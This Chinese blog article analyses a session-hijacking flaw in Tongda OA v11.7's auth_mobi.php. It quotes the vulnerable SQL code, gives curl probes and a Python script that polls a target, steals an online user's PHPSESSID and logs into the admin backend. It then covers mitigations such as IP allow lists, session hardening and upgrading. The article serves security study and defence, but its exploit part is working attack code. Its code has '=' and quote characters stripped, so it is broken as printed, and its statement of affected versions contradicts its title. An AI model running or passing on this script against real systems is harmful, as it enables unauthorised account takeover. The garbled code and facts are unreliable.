通达OA v11.7 auth_mobi.php 漏洞深度剖析:从SQL查询到PHPSESSID劫持的3步攻击链

发布时间:2026/7/8 20:52:32

通达OA v11.7 auth_mobi.php 漏洞深度剖析:从SQL查询到PHPSESSID劫持的3步攻击链 通达OA v11.7 auth_mobi.php 会话劫持漏洞技术解析与防御实践漏洞背景与影响范围通达OA作为国内广泛使用的办公自动化系统其v11.7版本中auth_mobi.php文件存在一个高危的会话劫持漏洞。该漏洞允许攻击者在特定条件下获取合法用户的PHPSESSID进而绕过认证机制直接登录系统。根据公开资料分析此漏洞影响所有低于v11.7的通达OA版本。核心问题在于系统对移动端身份验证接口的设计缺陷当用户在线时该接口会直接返回用户的会话标识符且缺乏必要的权限校验机制。这种设计违反了最小权限原则使得攻击者可以通过构造特定请求获取敏感会话信息。漏洞原理深度分析1. 缺陷代码定位漏洞核心位于webroot/mobile/auth_mobi.php文件中的以下代码段if ($isAvatar 1 $uid ! $P_VER ! ) { $sql SELECT SID FROM user_online WHERE UID \ . $uid . \ and CLIENT \ . $P_VER . \; $cursor exequery(TD::conn(), $sql); if ($row mysql_fetch_array($cursor)) { $P $row[SID]; } }这段代码存在三个关键问题未授权访问接口未验证请求者的身份SQL注入风险直接拼接用户输入的uid和P_VER参数敏感信息暴露直接返回用户的会话ID2. 攻击链构建逻辑完整的攻击过程可分为三个阶段探测阶段通过发送isAvatar1uid1P_VER0参数探测目标用户是否在线返回RELOGIN表示用户离线返回空值且HTTP头包含PHPSESSID表示用户在线会话窃取阶段从响应头中提取PHPSESSID值HTTP/1.1 200 OK Set-Cookie: PHPSESSIDsi0q13dnp2rqq142sabfumi235; path/权限提升阶段将窃取的会话ID注入自己的请求中访问后台管理界面GET /general/index.php HTTP/1.1 Cookie: PHPSESSIDsi0q13dnp2rqq142sabfumi2353. 漏洞利用条件对比条件项必需条件可选条件目标系统版本通达OA v11.7无用户状态至少一个用户在线管理员在线最佳网络可达可访问目标OA系统无其他依赖无可结合其他漏洞提升权限漏洞验证与实战演示1. 手工验证步骤访问漏洞接口探测用户状态curl -v http://target/mobile/auth_mobi.php?isAvatar1uid1P_VER0分析响应内容若返回RELOGIN表示用户不在线若返回空且包含Set-Cookie头记录PHPSESSID值使用窃取的会话访问后台curl -H Cookie: PHPSESSID窃取的会话ID http://target/general/index.php2. 自动化利用脚本以下Python脚本实现了自动化监控和会话窃取import requests import re import time def check_session(target): vuln_url f{target}/mobile/auth_mobi.php?isAvatar1uid1P_VER0 try: resp requests.get(vuln_url, verifyFalse, timeout5) if RELOGIN in resp.text: print([!] 目标用户当前离线) elif resp.status_code 200 and not resp.text.strip(): session_id re.search(rPHPSESSID(.*?);, str(resp.headers)) if session_id: print(f[] 获取到有效会话: {session_id.group(1)}) return session_id.group(1) except Exception as e: print(f[x] 请求失败: {str(e)}) return None def exploit_session(target, session_id): headers {Cookie: fPHPSESSID{session_id}} resp requests.get(f{target}/general/index.php, headersheaders) if 系统管理 in resp.text: print([] 成功登录后台系统) else: print([-] 会话无效或权限不足) if __name__ __main__: target input(请输入目标URL(如http://192.168.1.100): ).strip() while True: session check_session(target) if session: exploit_session(target, session) break time.sleep(5)注意此脚本仅用于安全研究目的实际使用时应遵守相关法律法规。防御方案与修复建议1. 临时缓解措施对于无法立即升级的系统建议采取以下防护手段访问控制在Web服务器层面对auth_mobi.php添加IP白名单限制location ~ /mobile/auth_mobi\.php { allow 192.168.1.0/24; deny all; }会话加固修改php.ini增加会话安全配置session.cookie_httponly 1 session.cookie_secure 1 session.use_strict_mode 12. 根本解决方案版本升级立即升级到v11.8或更高版本代码修复若必须使用旧版本应修改auth_mobi.php添加身份验证逻辑使用预处理语句防止SQL注入移除敏感会话信息的直接返回3. 安全防护体系建议防护层面具体措施实施难度网络层部署WAF规则拦截异常请求低系统层定期更新补丁限制服务器出站连接中应用层实施双因素认证加强会话管理高监控层建立异常登录告警机制中漏洞延伸思考这个漏洞反映了几个常见的安全问题接口权限设计缺陷移动端接口往往为了便利性牺牲安全性会话管理不当将会话ID视为普通数据而非敏感凭证防御深度不足缺乏多层次的防护措施在实际开发中建议遵循以下原则所有接口默认应要求认证敏感操作需二次验证实施最小权限原则关键操作日志完整记录我曾在一个企业内网渗透测试中发现虽然系统已修复此漏洞但攻击者仍可通过历史漏洞获取的凭证横向移动。这提醒我们安全是一个持续过程单点修复远远不够需要建立全面的安全防护体系。

相关新闻